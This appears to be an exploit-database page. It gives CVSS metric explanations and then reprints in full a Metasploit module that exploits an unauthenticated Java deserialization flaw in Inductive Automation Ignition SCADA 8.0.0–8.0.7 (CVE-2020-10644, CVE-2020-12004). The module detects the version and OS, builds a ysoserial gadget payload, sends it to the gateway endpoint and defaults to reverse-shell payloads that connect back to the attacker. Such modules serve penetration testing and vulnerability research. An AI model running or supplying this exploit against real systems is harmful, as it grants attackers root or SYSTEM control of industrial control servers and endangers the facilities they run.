The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Inductive Automation Ignition Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Inductive Automation Ignition Remote Code Execution',
'Description' => %q{
This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,
versions 8.0.0 to (and including) 8.0.7.
This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.
The default configuration is exploitable by an unauthenticated attacker, which can achieve
remote code execution as SYSTEM on a Windows installation and root on Linux.
The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],
[ 'CVE', '2020-10644'],
[ 'CVE', '2020-12004'],
[ 'ZDI', '20-685'],
[ 'ZDI', '20-686'],
],
'Privileged' => true,
'Platform' => %w[unix win],
'DefaultOptions' =>
{
'WfsDelay' => 15
},
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows',
'Platform' => 'win',
'DefaultOptions' =>
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
],
[
'Linux',
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' =>
{ 'PAYLOAD' => 'cmd/unix/reverse_python' },
]
],
'DisclosureDate' => '2020-06-11',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(8088)
]
)
end
def version_get
res = send_request_cgi({
'uri' => '/system/gwinfo',
'method' => 'GET'
})
if res && res.code == 302
# try again, versions < 8 use a different URL
res = send_request_cgi({
'uri' => '/main/system/gwinfo',
'method' => 'GET'
})
end
if res && res.code == 200
# Regexp to get the version of the server
version = res.body.match(/;Version=([0-9\.]{3,});/)
if version
return version[1]
end
end
return ''
end
def os_get
res = send_request_cgi({
'uri' => '/system/gwinfo',
'method' => 'GET'
})
if res && res.code == 200
# Regexp to get the OS
os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)
return os[1]
end
end
def create_java_str(payload)
(
"\xac\xed" + # STREAM_MAGIC
"\x00\x05" + # STREAM_VERSION
"\x74" + # String object
[payload.length].pack('n') + # length
payload
).force_encoding('ascii') # is this needed in msf?
end
def check
version = Gem::Version.new(version_get)
if version.segments.length < 3
fail_with(Failure::Unknown, 'Failed to obtain target version')
end
print_status("#{peer} - Detected version #{version}")
if version >= Gem::Version.new('8.0.0') && version <= Gem::Version.new('8.0.7')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def pick_target
os = os_get
if os.include?('Windows')
return targets[1]
elsif os.include?('Linux')
return targets[2]
else
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")
end
end
def exploit
# Check if automatic target selection is set
if target.name == 'Automatic'
my_target = pick_target
else
my_target = target
end
print_status("#{peer} - Attacking #{my_target.name} target")
# <version> is a CRC32 calculated by the server that we didn't want to reverse
# However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
# (line 383 of gateway-8.0.7.jar)
# ... it will helpfully ignore the version if set to 0
data =
'<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\
'<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\
'<![CDATA['
if my_target.name == 'Windows'
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
else
cmd = payload.encoded
end
version = Gem::Version.new(version_get)
if version
print_status("#{peer} - Detected version #{version}")
else
print_error("#{peer} - Target has an unknown version, this might not work...")
end
# Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!
#
# An alternative to this would be GET /system/launchmf/D which will helpfully return
# a list of all the jars in the system, letting us pick the right gadget chain.
# However only 8.0.0 differs, so let's just have a special case for that.
if version == Gem::Version.new('8.0.0')
lib = 'CommonsCollections6'
else
lib = 'CommonsBeanutils1'
end
payload = ::Msf::Util::JavaDeserialization.ysoserial_payload(lib, cmd)
payload = Rex::Text.encode_base64(payload)
payload = create_java_str(payload)
payload = Rex::Text.encode_base64(payload)
data += payload
data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'
print_status("#{peer} - Sending payload...")
res = send_request_cgi({
'uri' => '/system/gateway',
'method' => 'POST',
'data' => data
})
if res&.body&.include?('Unable to load project diff.')
print_good("#{peer} - Success, shell incoming!")
else
print_error("#{peer} - Something is not right, try again?")
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum